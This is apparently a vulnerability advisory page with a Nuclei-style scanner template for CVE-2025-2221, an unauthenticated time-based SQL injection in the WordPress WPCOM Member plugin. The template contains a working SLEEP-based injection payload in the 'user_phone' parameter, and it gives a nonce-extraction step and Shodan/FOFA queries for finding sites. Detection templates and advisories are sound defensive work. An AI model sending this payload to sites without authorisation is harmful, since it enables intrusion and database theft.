WordPress WPCOM Member <= 1.7.6 - SQL Injection
CVE-2025-2221
Verified
Description
WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter.
Severity
High
CVSS Score
7.5
Exploit Probability
24%
Affected Product
wpcom-member
Published Date
April 10, 2026
Template Author
neosmith1, 0x_akoko
CVE-2025-2221.yaml
id: CVE-2025-2221
info:
name: WordPress WPCOM Member <= 1.7.6 - SQL Injection
author: neosmith1,0x_Akoko
severity: high
description: |
WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter.
impact: |
Attackers can extract sensitive database information, potentially leading to data breach and privacy violations.
remediation: |
Update to the latest version of the plugin that addresses this vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpcom-member/wpcom-member-176-unauthenticated-sql-injection
- https://plugins.trac.wordpress.org/browser/wpcom-member/tags/1.7.6/includes/class-sesstion.php#L35
- https://nvd.nist.gov/vuln/detail/CVE-2025-2221
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-2221
epss-score: 0.24216
epss-percentile: 0.96157
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: Bastien Ho
product: wpcom-member
shodan-query: http.component:"WordPress"
fofa-query: body="wpcom-member"
tags: cve,cve2025,wordpress,wp-plugin,sqli,wpcom-member,unauthenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpcom_login_modal&type=login
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'member_form_login_nonce" value="([a-z0-9]+)"'
part: body
internal: true
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "member_form_login_nonce")
- nonce != ""
condition: and
internal: true
- raw:
- |
@timeout: 25s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpcom_login&user_phone=1%27+AND+%28SELECT+1+FROM+%28SELECT+SLEEP%286%29%29a%29--+-&sms_code=123456&member_form_login_nonce={{nonce}}
matchers:
- type: dsl
dsl:
- duration >= 6
- status_code == 200
condition: and
# digest: 4a0a0047304502201919bf1e1db871ff296bc92800a7b2be297382d2ecad52293811eb2872cbefd80221008b134bbf36a070e28f179330af296d342187920ea245138eddfc2e03c4fe0e40:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2025-2221
CWE ID:
cwe-89
Remediation Steps
Update to the latest version of the plugin that addresses this vulnerability.